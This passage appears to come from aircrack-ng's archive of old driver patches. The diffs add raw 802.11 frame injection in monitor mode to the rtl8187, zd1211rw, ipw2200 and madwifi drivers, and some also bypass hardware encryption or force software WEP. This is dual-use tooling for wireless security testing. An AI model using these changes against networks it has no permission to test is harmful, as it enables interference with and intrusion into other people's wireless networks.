rtl8187_rawtx/ieee80211/ieee80211_wx.c 2007-07-13 01:46:05.000000000 +0200 @@ -40,7 +40,7 @@ }; #define MAX_CUSTOM_LEN 64 -static inline char *ipw2100_translate_scan(struct ieee80211_device *ieee, +static inline char *ipw2100_translate_scan_rtl7(struct ieee80211_device *ieee, char *start, char *stop, struct ieee80211_network *network) { @@ -207,7 +207,7 @@ return start; } -int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -220,13 +220,14 @@ IEEE80211_DEBUG_WX("Getting scan\n"); down(&ieee->wx_sem); + printk("GOT WX GET SCAN WX_SEM LOCK"); spin_lock_irqsave(&ieee->lock, flags); list_for_each_entry(network, &ieee->network_list, list) { i++; if (ieee->scan_age == 0 || time_after(network->last_scanned + ieee->scan_age, jiffies)) - ev = ipw2100_translate_scan(ieee, ev, stop, network); + ev = ipw2100_translate_scan_rtl7(ieee, ev, stop, network); else IEEE80211_DEBUG_SCAN( "Not showing network '%s (" @@ -247,7 +248,7 @@ return 0; } -int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -259,6 +260,9 @@ int i, key, key_provided, len; struct ieee80211_crypt_data **crypt; + if (erq->flags & IW_ENCODE_RESTRICTED) + return -EINVAL; + IEEE80211_DEBUG_WX("SET_ENCODE\n"); key = erq->flags & IW_ENCODE_INDEX; @@ -281,7 +285,7 @@ if (key_provided && *crypt) { IEEE80211_DEBUG_WX("Disabling encryption on key %d.\n", key); - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } else IEEE80211_DEBUG_WX("Disabling encryption.\n"); @@ -291,7 +295,7 @@ if (ieee->crypt[i] != NULL) { if (key_provided) break; - ieee80211_crypt_delayed_deinit( + ieee80211_crypt_delayed_deinit_rtl7( ieee, &ieee->crypt[i]); } } @@ -314,7 +318,7 @@ strcmp((*crypt)->ops->name, "WEP") != 0) { /* changing to use WEP; deinit previously used algorithm * on this key */ - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } if (*crypt == NULL) { @@ -326,10 +330,10 @@ if (new_crypt == NULL) return -ENOMEM; memset(new_crypt, 0, sizeof(struct ieee80211_crypt_data)); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); if (!new_crypt->ops) { - request_module("ieee80211_crypt_wep"); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + request_module("ieee80211_crypt_wep_rtl"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); } if (new_crypt->ops && try_module_get(new_crypt->ops->owner)) @@ -340,7 +344,7 @@ new_crypt = NULL; printk(KERN_WARNING "%s: could not initialize WEP: " - "load module ieee80211_crypt_wep\n", + "load module ieee80211_crypt_wep_rtl\n", dev->name); return -EOPNOTSUPP; } @@ -418,7 +422,7 @@ return 0; } -int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -430,7 +434,7 @@ if(ieee->iw_mode == IW_MODE_MONITOR) return -1; - + key = erq->flags & IW_ENCODE_INDEX; if (key) { if (key > WEP_KEYS) @@ -470,6 +474,6 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_scan); -EXPORT_SYMBOL(ieee80211_wx_set_encode); -EXPORT_SYMBOL(ieee80211_wx_get_encode); +EXPORT_SYMBOL(ieee80211_wx_get_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_encode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_encode_rtl7); diff -Naur rtl8187_orig/ieee80211/Makefile rtl8187_rawtx/ieee80211/Makefile --- rtl8187_orig/ieee80211/Makefile 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/Makefile 2007-05-27 10:47:26.000000000 +0200 @@ -17,6 +17,7 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) all: modules diff -Naur rtl8187_orig/ieee80211/Modules.symvers rtl8187_rawtx/ieee80211/Modules.symvers --- rtl8187_orig/ieee80211/Modules.symvers 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/Modules.symvers 1970-01-01 01:00:00.000000000 +0100 @@ -1,43 +0,0 @@ -0x232e7944 ieee80211_wlan_frequencies /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xaeae102f free_ieee80211_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0x279e265f ieee80211_crypt_deinit_handler net/ieee80211/ieee80211_crypt -0xc2411d91 ieee80211_stop_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6ece20e1 ieee80211_wx_get_name_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0x5d3847ff ieee80211_rx_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x18612027 ieee80211_wx_get_scan_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xa0e03ce1 ieee80211_wx_get_name /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xee25f349 ieee80211_wx_get_mode /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x86013c3d ieee80211_wx_set_mode /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x04493cc0 ieee80211_wx_get_rate /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6c6df3b4 ieee80211_wx_set_rate /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x82caec02 ieee80211_crypt_deinit_entries net/ieee80211/ieee80211_crypt -0x347945bf ieee80211_wx_get_power /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6379d455 ieee80211_wx_set_power /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xae62ed59 ieee80211_wx_set_scan /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6621e172 ieee80211_wx_set_freq /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x0e052e06 ieee80211_wx_get_freq /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x283f9f5d ieee80211_unregister_crypto_ops net/ieee80211/ieee80211_crypt -0x9da79aac ieee80211_is_shortslot /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x666032dc ieee80211_wx_get_wap /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x9f1cbe0e ieee80211_wx_set_wap /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x73d1d341 ieee80211_wx_set_rawtx /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x2c714184 ieee80211_is_54g /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6892d598 ieee80211_wpa_supplicant_ioctl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xc062f1f5 ieee80211_ps_tx_ack /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x55534906 ieee80211_get_beacon /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xe2679638 ieee80211_crypt_delayed_deinit net/ieee80211/ieee80211_crypt -0x3a0456bc free_ieee80211 net/ieee80211/ieee80211 -0x7e1ef2c8 ieee80211_wake_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xc1b81e9f ieee80211_register_crypto_ops net/ieee80211/ieee80211_crypt -0x3f795a39 alloc_ieee80211 net/ieee80211/ieee80211 -0x89803c23 ieee80211_get_crypto_ops net/ieee80211/ieee80211_crypt -0xc6caf2a4 ieee80211_txb_free net/ieee80211/ieee80211 -0x49c1422c ieee80211_rx_mgt net/ieee80211/ieee80211 -0xbf2b4ebd alloc_ieee80211_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0xd155f7b8 ieee80211_softmac_stop_protocol /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x9ce2dcde ieee80211_softmac_start_protocol /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x00d74bba ieee80211_wx_get_encode_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x92b5d996 ieee80211_wx_set_encode_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x2ac9bf95 ieee80211_wx_set_essid /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x7dc92e7f ieee80211_wx_get_essid /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xd04740ca ieee80211_reset_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl diff -Naur rtl8187_orig/Makefile rtl8187_rawtx/Makefile --- rtl8187_orig/Makefile 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_rawtx/Makefile 2007-06-21 23:43:15.000000000 +0200 @@ -0,0 +1,39 @@ +prefix = /lib/modules/$(shell uname -r)/kernel/drivers/net/wireless +r8187dir = $(prefix)/rtl8187 +ieeedir = $(prefix)/rtl_ieee80211 + +default: all + +all: + -rm -f ieee80211/Module.symvers 2>/dev/null + -rm -f ieee80211/Modules.symvers 2>/dev/null + $(MAKE) -C ieee80211 $(@) + -chmod +x symvers + -./symvers + $(MAKE) -C beta-8187 $(@) + +install: + install -d $(ieeedir) + install -d $(r8187dir) + install -m 644 ./ieee80211/*.ko $(ieeedir) + install -m 644 ./beta-8187/*.ko $(r8187dir) + -find /lib/modules/$(shell uname -r) -name rtl8187.ko -exec mv -v {} ~/ \; + -depmod -ae + +uninstall: + -rm -f $(ieeedir)/ieee80211-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_ccmp-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_tkip-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_wep-rtl.ko + -rm -f $(r8187dir)/r8187.ko + -rm -fr $(ieeedir) + -rm -fr $(r8187dir) + -depmod -ae + +clean: + $(MAKE) -C ieee80211 $(@) + $(MAKE) -C beta-8187 $(@) + +distclean: clean + diff -Naur rtl8187_orig/symvers rtl8187_rawtx/symvers --- rtl8187_orig/symvers 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_rawtx/symvers 2007-05-26 10:39:22.000000000 +0200 @@ -0,0 +1,25 @@ +#!/bin/sh + +cd beta-8187 + +if [ -e Module.symvers ] +then + rm Module.symvers +fi + +if [ -e Modules.symvers ] +then + rm Modules.symvers +fi + +if [ -e ../ieee80211/Module.symvers ] +then + ln -sf ../ieee80211/Module.symvers ./ +fi + +if [ -e ../ieee80211/Modules.symvers ] +then + ln -sf ../ieee80211/Modules.symvers ./ +fi + +cd .. diff -Naur rtl8187_orig/wlan0rmv rtl8187_rawtx/wlan0rmv --- rtl8187_orig/wlan0rmv 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/wlan0rmv 2007-06-26 16:32:43.000000000 +0200 @@ -1,5 +1,9 @@ #!/bin/bash -rmmod r8180 -rmmod ieee80211_r8180 -rmmod ieee80211_crypt_r8180 +rmmod rtl8187 2>/dev/null +rmmod r8187 2>/dev/null +rmmod ieee80211_rtl 2>/dev/null +rmmod ieee80211_crypt_ccmp_rtl 2>/dev/null +rmmod ieee80211_crypt_tkip_rtl 2>/dev/null +rmmod ieee80211_crypt_wep_rtl 2>/dev/null +rmmod ieee80211_crypt_rtl 2>/dev/null aircrack-ng-1.2-beta3/patches/old/zd1211rw-inject+dbi-fix-2.6.39.4.diff0000644000000000000000000000157412103567066023265 0ustar rootrootdiff -Naur linux/drivers/net/wireless/zd1211rw/zd_mac.c linux/drivers/net/wireless/zd1211rw/zd_mac.c --- linux/drivers/net/wireless/zd1211rw/zd_mac.c 2011-05-19 06:06:34.000000000 +0200 +++ linux/drivers/net/wireless/zd1211rw/zd_mac.c 2011-08-21 17:46:33.146013429 +0200 @@ -983,7 +989,8 @@ stats.freq = zd_channels[_zd_chip_get_channel(&mac->chip) - 1].center_freq; stats.band = IEEE80211_BAND_2GHZ; stats.signal = status->signal_strength; - + stats.signal = stats.signal - 90; + rate = zd_rx_rate(buffer, status); /* todo: return index in the big switches in zd_rx_rate instead */ @@ -1312,7 +1319,7 @@ hw->wiphy->bands[IEEE80211_BAND_2GHZ] = &mac->band; hw->flags = IEEE80211_HW_RX_INCLUDES_FCS | - IEEE80211_HW_SIGNAL_UNSPEC | + IEEE80211_HW_SIGNAL_DBM | IEEE80211_HW_HOST_BROADCAST_PS_BUFFERING; hw->wiphy->interface_modes = aircrack-ng-1.2-beta3/patches/old/zd1211rw-inject+dbi-fix-2.6.26.patch0000644000000000000000000000352412103567066023303 0ustar rootroot--- drivers/net/wireless/zd1211rw/zd_mac.c +++ drivers/net/wireless/zd1211rw/zd_mac.c @@ -221,14 +221,19 @@ void zd_mac_clear(struct zd_mac *mac) static int set_rx_filter(struct zd_mac *mac) { unsigned long flags; - u32 filter = STA_RX_FILTER; + struct zd_ioreq32 ioreqs[] = { + {CR_RX_FILTER, STA_RX_FILTER}, + { CR_SNIFFER_ON, 0U }, + }; spin_lock_irqsave(&mac->lock, flags); - if (mac->pass_ctrl) - filter |= RX_FILTER_CTRL; + if (mac->pass_ctrl) { + ioreqs[0].value |= 0xFFFFFFFF; + ioreqs[1].value = 0x1; + } spin_unlock_irqrestore(&mac->lock, flags); - return zd_iowrite32(&mac->chip, CR_RX_FILTER, filter); + return zd_iowrite32a(&mac->chip, ioreqs, ARRAY_SIZE(ioreqs)); } static int set_mc_hash(struct zd_mac *mac) @@ -815,7 +820,8 @@ int zd_mac_rx(struct ieee80211_hw *hw, c /* Caller has to ensure that length >= sizeof(struct rx_status). */ status = (struct rx_status *) (buffer + (length - sizeof(struct rx_status))); - if (status->frame_status & ZD_RX_ERROR) { + if ((status->frame_status & ZD_RX_ERROR) || + (status->frame_status & ~0x21)) { if (mac->pass_failed_fcs && (status->frame_status & ZD_RX_CRC32_ERROR)) { stats.flag |= RX_FLAG_FAILED_FCS_CRC; @@ -828,7 +834,8 @@ int zd_mac_rx(struct ieee80211_hw *hw, c stats.freq = zd_channels[_zd_chip_get_channel(&mac->chip) - 1].center_freq; stats.band = IEEE80211_BAND_2GHZ; stats.signal = status->signal_strength; - + stats.signal = stats.signal - 90; + rate = zd_rx_rate(buffer, status); /* todo: return index in the big switches in zd_rx_rate instead */ @@ -1155,7 +1162,7 @@ struct ieee80211_hw *zd_mac_alloc_hw(str hw->wiphy->bands[IEEE80211_BAND_2GHZ] = &mac->band; hw->flags = IEEE80211_HW_RX_INCLUDES_FCS | - IEEE80211_HW_SIGNAL_UNSPEC; + IEEE80211_HW_SIGNAL_DBM; hw->wiphy->interface_modes = BIT(NL80211_IFTYPE_MESH_POINT) | aircrack-ng-1.2-beta3/patches/old/ipw2200-1.1.3-inject.patch0000644000000000000000000000321110761053203021462 0ustar rootroot--- ipw2200-1.1.3/ipw2200.c 2006-07-17 21:43:57.000000000 +0000 +++ ipw2200-1.1.3inject/ipw2200inject.c 2006-07-18 00:29:15.000000000 +0000 @@ -10645,9 +10645,19 @@ static int ipw_tx_skb(struct ipw_priv *priv, struct ieee80211_txb *txb, int pri) { + int i = 0; + int kk; +/* for (kk=0; kk<36; kk++) + printk("%02X ", txb->fragments[0]->data[kk]); + printk("\n"); +*/ + skb_pull(txb->fragments[0], 18+6+6); +/* for (kk=0; kk<36; kk++) + printk("%02X ", txb->fragments[0]->data[kk]); + printk("\n"); + */ struct ieee80211_hdr_3addrqos *hdr = (struct ieee80211_hdr_3addrqos *) txb->fragments[0]->data; - int i = 0; struct tfd_frame *tfd; #ifdef CONFIG_IPW2200_QOS int tx_id = ipw_get_tx_queue_number(priv, pri); @@ -10660,6 +10670,28 @@ u16 remaining_bytes; int fc; +// memset(hdr->addr1,0x80,18); + memset(hdr, 0x08,1); +/* memset(((void*)hdr)+1,0x00,1); + memset(((void*)hdr)+2,0x04,1); + memset(((void*)hdr)+3,0x04,1); + memset(((void*)hdr)+4,0x00,1); + memset(((void*)hdr)+5,0x0f,1); + */ +// printk("tx_skb\n"); +char * kkk=hdr; +for(i=4; i<0x40; i++) { +// kkk[i]=0xff; +} +/* for (kk=0; kk<36; kk++) + printk("%02X ", txb->fragments[0]->data[kk]); + printk("\n"); + + printk("WENT\n"); + */ + i=0; + + hdr_len = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); switch (priv->ieee->iw_mode) { case IW_MODE_ADHOC: @@ -10711,7 +10743,7 @@ if (likely(unicast)) tfd->u.data.tx_flags |= DCT_FLAG_ACK_REQD; - if (txb->encrypted && !priv->ieee->host_encrypt) { + if (0 && txb->encrypted && !priv->ieee->host_encrypt) { switch (priv->ieee->sec.level) { case SEC_LEVEL_3: tfd->u.data.tfd.tfd_24.mchdr.frame_ctl |= aircrack-ng-1.2-beta3/patches/old/sqlite-3.5.7-lib_cygwin.diff0000644000000000000000000000116111147347032022364 0ustar rootroot--- Makefile.ori 2008-03-20 22:34:53.328125000 +0100 +++ Makefile 2008-03-20 22:37:30.562500000 +0100 @@ -665,11 +665,10 @@ $(TEMP_STORE) -o $@ $(TESTFIXTURE_SRC) $(LIBTCL) -install: sqlite3$(BEXE) libsqlite3.la sqlite3.h ${HAVE_TCL:1=tcl_install} +install: libsqlite3.la sqlite3.h $(INSTALL) -d $(DESTDIR)$(libdir) $(LTINSTALL) libsqlite3.la $(DESTDIR)$(libdir) $(INSTALL) -d $(DESTDIR)$(bindir) - $(LTINSTALL) sqlite3$(BEXE) $(DESTDIR)$(bindir) $(INSTALL) -d $(DESTDIR)$(includedir) $(INSTALL) -m 0644 sqlite3.h $(DESTDIR)$(includedir) $(INSTALL) -m 0644 $(TOP)/src/sqlite3ext.h $(DESTDIR)$(includedir) aircrack-ng-1.2-beta3/patches/old/zd1211rw_inject_2.6.20.patch0000644000000000000000000001270210761053203022110 0ustar rootrootdiff -Naur linux-2.6.20.4-orig/drivers/net/wireless/zd1211rw/zd_mac.c linux-2.6.20.4-rawtx/drivers/net/wireless/zd1211rw/zd_mac.c --- linux-2.6.20.4-orig/drivers/net/wireless/zd1211rw/zd_mac.c 2007-03-23 20:52:51.000000000 +0100 +++ linux-2.6.20.4-rawtx/drivers/net/wireless/zd1211rw/zd_mac.c 2007-04-16 01:53:58.000000000 +0200 @@ -202,7 +202,13 @@ goto disable_rx; housekeeping_enable(mac); + netif_carrier_on(netdev); ieee80211softmac_start(netdev); + if(!netif_queue_stopped(netdev)) + netif_start_queue(netdev); + else + netif_wake_queue(netdev); + return 0; disable_rx: zd_chip_disable_rx(chip); @@ -835,6 +841,7 @@ struct ieee80211_txb *txb, int frag_num) { + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); int r; struct sk_buff *skb = txb->fragments[frag_num]; struct ieee80211_hdr_4addr *hdr = @@ -858,7 +865,10 @@ cs->tx_length = cpu_to_le16(frag_len); - cs_set_control(mac, cs, hdr); + if(ieee->iw_mode == IW_MODE_MONITOR) + cs->control = ZD_CS_MULTICAST; + else + cs_set_control(mac, cs, hdr); packet_length = frag_len + sizeof(struct zd_ctrlset) + 10; ZD_ASSERT(packet_length <= 0xffff); @@ -903,6 +913,7 @@ static int zd_mac_tx(struct zd_mac *mac, struct ieee80211_txb *txb, int pri) { + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); int i, r; for (i = 0; i < txb->nr_frags; i++) { @@ -911,7 +922,10 @@ r = fill_ctrlset(mac, txb, i); if (r) return r; - r = zd_usb_tx(&mac->chip.usb, skb->data, skb->len); + if(ieee->iw_mode == IW_MODE_MONITOR) + r = zd_usb_tx_inject(&mac->chip.usb, skb->data, skb->len); + else + r = zd_usb_tx(&mac->chip.usb, skb->data, skb->len); if (r) return r; } @@ -929,6 +943,8 @@ u8 rt_rate; u16 rt_channel; u16 rt_chbitmask; + u8 rt_antsignal; + u8 rt_antnoise; } __attribute__((packed)); static void fill_rt_header(void *buffer, struct zd_mac *mac, @@ -942,7 +958,9 @@ hdr->rt_hdr.it_len = cpu_to_le16(sizeof(struct zd_rt_hdr)); hdr->rt_hdr.it_present = cpu_to_le32((1 << IEEE80211_RADIOTAP_FLAGS) | (1 << IEEE80211_RADIOTAP_CHANNEL) | - (1 << IEEE80211_RADIOTAP_RATE)); + (1 << IEEE80211_RADIOTAP_RATE) | + (1 << IEEE80211_RADIOTAP_DBM_ANTSIGNAL) | + (1 << IEEE80211_RADIOTAP_DBM_ANTNOISE)); hdr->rt_flags = 0; if (status->decryption_type & (ZD_RX_WEP64|ZD_RX_WEP128|ZD_RX_WEP256)) @@ -956,6 +974,9 @@ hdr->rt_chbitmask = cpu_to_le16(IEEE80211_CHAN_2GHZ | ((status->frame_status & ZD_RX_FRAME_MODULATION_MASK) == ZD_RX_OFDM ? IEEE80211_CHAN_OFDM : IEEE80211_CHAN_CCK)); + + hdr->rt_antsignal = status->signal_strength; + hdr->rt_antnoise = stats->noise; } /* Returns 1 if the data packet is for us and 0 otherwise. */ @@ -1062,7 +1083,8 @@ const struct rx_status *status; *pstatus = status = zd_tail(buffer, length, sizeof(struct rx_status)); - if (status->frame_status & ZD_RX_ERROR) { + if (status->frame_status & ZD_RX_ERROR + || status->frame_status & ~0x21) { /* FIXME: update? */ return -EINVAL; } diff -Naur linux-2.6.20.4-orig/drivers/net/wireless/zd1211rw/zd_usb.c linux-2.6.20.4-rawtx/drivers/net/wireless/zd1211rw/zd_usb.c --- linux-2.6.20.4-orig/drivers/net/wireless/zd1211rw/zd_usb.c 2007-03-23 20:52:51.000000000 +0100 +++ linux-2.6.20.4-rawtx/drivers/net/wireless/zd1211rw/zd_usb.c 2007-04-09 22:49:51.000000000 +0200 @@ -58,6 +58,7 @@ { USB_DEVICE(0x079b, 0x0062), .driver_info = DEVICE_ZD1211B }, { USB_DEVICE(0x1582, 0x6003), .driver_info = DEVICE_ZD1211B }, { USB_DEVICE(0x050d, 0x705c), .driver_info = DEVICE_ZD1211B }, + { USB_DEVICE(0x083a, 0x4505), .driver_info = DEVICE_ZD1211B }, /* "Driverless" devices that need ejecting */ { USB_DEVICE(0x0ace, 0x2011), .driver_info = DEVICE_INSTALLER }, {} @@ -851,6 +852,46 @@ return r; } +/* Puts the frame on the USB endpoint. It doesn't wait for + * completion. The frame must contain the control set. + */ +int zd_usb_tx_inject(struct zd_usb *usb, const u8 *frame, unsigned int length) +{ + int r; + struct usb_device *udev = zd_usb_to_usbdev(usb); + struct urb *urb; + void *buffer; + + urb = usb_alloc_urb(0, GFP_ATOMIC); + if (!urb) { + r = -ENOMEM; + goto out; + } + + buffer = usb_buffer_alloc(zd_usb_to_usbdev(usb), length, GFP_ATOMIC, + &urb->transfer_dma); + if (!buffer) { + r = -ENOMEM; + goto error_free_urb; + } + memcpy(buffer, frame, length); + + usb_fill_bulk_urb(urb, udev, usb_sndbulkpipe(udev, EP_DATA_OUT), + buffer, length, tx_urb_complete, NULL); + + r = usb_submit_urb(urb, GFP_ATOMIC); + if (r) + goto error; + return 0; +error: + usb_buffer_free(zd_usb_to_usbdev(usb), length, buffer, + urb->transfer_dma); +error_free_urb: + usb_free_urb(urb); +out: + return r; +} + static inline void init_usb_interrupt(struct zd_usb *usb) { struct zd_usb_interrupt *intr = &usb->intr; diff -Naur linux-2.6.20.4-orig/drivers/net/wireless/zd1211rw/zd_usb.h linux-2.6.20.4-rawtx/drivers/net/wireless/zd1211rw/zd_usb.h --- linux-2.6.20.4-orig/drivers/net/wireless/zd1211rw/zd_usb.h 2007-03-23 20:52:51.000000000 +0100 +++ linux-2.6.20.4-rawtx/drivers/net/wireless/zd1211rw/zd_usb.h 2007-04-09 22:42:11.000000000 +0200 @@ -223,6 +223,7 @@ void zd_usb_disable_rx(struct zd_usb *usb); int zd_usb_tx(struct zd_usb *usb, const u8 *frame, unsigned int length); +int zd_usb_tx_inject(struct zd_usb *usb, const u8 *frame, unsigned int length); int zd_usb_ioread16v(struct zd_usb *usb, u16 *values, const zd_addr_t *addresses, unsigned int count); aircrack-ng-1.2-beta3/patches/old/madwifi-cvs-20051025.patch0000644000000000000000000001112510761053203021557 0ustar rootrootdiff -ur ../madwifi-cvs-20051025/Makefile.inc ./Makefile.inc --- ../madwifi-cvs-20051025/Makefile.inc 2005-10-18 06:27:01.000000000 +0200 +++ ./Makefile.inc 2005-10-25 15:13:24.000000000 +0200 @@ -191,7 +191,7 @@ # #ATH_RATE=$(shell find ath_rate/ -maxdepth 1 ! -name CVS ! -name ath_rate/ -type d) ifeq ($(ATH_RATE),) -ATH_RATE=ath_rate/sample +ATH_RATE=ath_rate/onoe endif INCS= -include ${obj}/${DEPTH}/include/compat.h -I${obj}/${DEPTH}/include Only in .: Makefile.inc.orig diff -ur ../madwifi-cvs-20051025/ath/if_ath.c ./ath/if_ath.c --- ../madwifi-cvs-20051025/ath/if_ath.c 2005-10-19 06:27:51.000000000 +0200 +++ ./ath/if_ath.c 2005-10-25 15:13:24.000000000 +0200 @@ -1436,7 +1436,7 @@ rt = sc->sc_currates; KASSERT(rt != NULL, ("no rate table, mode %u", sc->sc_curmode)); flags = HAL_TXDESC_INTREQ | HAL_TXDESC_CLRDMASK; - try0 = ATH_TXMAXTRY; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ATH_TXMAXTRY; dot11Rate = 0; ctsrate = 0; ctsduration = 0; @@ -1501,6 +1501,13 @@ } } + if (dot11Rate == 0 && ic->ic_opmode == IEEE80211_M_MONITOR) { + int index = sc->sc_rixmap[ic->inject_rate / 500]; + if (index >= 0 && index < rt->rateCount) { + txrate = rt->info[index].rateCode; + } + } + wh = (struct ieee80211_frame *) skb->data; pktlen = skb->len + IEEE80211_CRC_LEN; hdrlen = sizeof(struct ieee80211_frame); Only in ./ath: if_ath.c.orig diff -ur ../madwifi-cvs-20051025/ath/if_ath_pci.c ./ath/if_ath_pci.c --- ../madwifi-cvs-20051025/ath/if_ath_pci.c 2005-07-11 15:23:53.000000000 +0200 +++ ./ath/if_ath_pci.c 2005-10-25 15:15:18.000000000 +0200 @@ -100,12 +100,16 @@ { 0xa727, 0x0013, PCI_ANY_ID, PCI_ANY_ID }, /* 3com */ { 0x10b7, 0x0013, PCI_ANY_ID, PCI_ANY_ID }, /* 3com 3CRDAG675 */ { 0x168c, 0x1014, PCI_ANY_ID, PCI_ANY_ID }, /* IBM minipci 5212 */ + { 0x168c, 0x101a, PCI_ANY_ID, PCI_ANY_ID }, /* some Griffin-Lite */ { 0x168c, 0x0015, PCI_ANY_ID, PCI_ANY_ID }, { 0x168c, 0x0016, PCI_ANY_ID, PCI_ANY_ID }, { 0x168c, 0x0017, PCI_ANY_ID, PCI_ANY_ID }, { 0x168c, 0x0018, PCI_ANY_ID, PCI_ANY_ID }, { 0x168c, 0x0019, PCI_ANY_ID, PCI_ANY_ID }, { 0x168c, 0x001a, PCI_ANY_ID, PCI_ANY_ID }, + { 0x168c, 0x001b, PCI_ANY_ID, PCI_ANY_ID }, + { 0x168c, 0x001c, PCI_ANY_ID, PCI_ANY_ID }, /* PCI Express 5424 */ + { 0x168c, 0x001d, PCI_ANY_ID, PCI_ANY_ID }, /* PCI Express ??? */ { 0 } }; diff -ur ../madwifi-cvs-20051025/net80211/ieee80211_crypto.c ./net80211/ieee80211_crypto.c --- ../madwifi-cvs-20051025/net80211/ieee80211_crypto.c 2005-07-12 13:53:38.000000000 +0200 +++ ./net80211/ieee80211_crypto.c 2005-10-25 15:13:24.000000000 +0200 @@ -299,6 +299,10 @@ oflags = key->wk_flags; flags &= IEEE80211_KEY_COMMON; + + if (cipher == IEEE80211_CIPHER_WEP) + flags |= IEEE80211_KEY_SWCRYPT; + /* * If the hardware does not support the cipher then * fallback to a host-based implementation. diff -ur ../madwifi-cvs-20051025/net80211/ieee80211_var.h ./net80211/ieee80211_var.h --- ../madwifi-cvs-20051025/net80211/ieee80211_var.h 2005-10-18 06:27:01.000000000 +0200 +++ ./net80211/ieee80211_var.h 2005-10-25 15:13:24.000000000 +0200 @@ -212,6 +212,8 @@ struct net_device *ic_wdsdev[IEEE80211_WDS_MAXNODES]; /* only wds traffic is allowed */ int ic_wdsonly; + + int inject_rate; /* injection rate in Monitor mode */ }; #define IEEE80211_ADDR_EQ(a1,a2) (memcmp(a1,a2,IEEE80211_ADDR_LEN) == 0) Only in ./net80211: ieee80211_var.h.orig diff -ur ../madwifi-cvs-20051025/net80211/ieee80211_wireless.c ./net80211/ieee80211_wireless.c --- 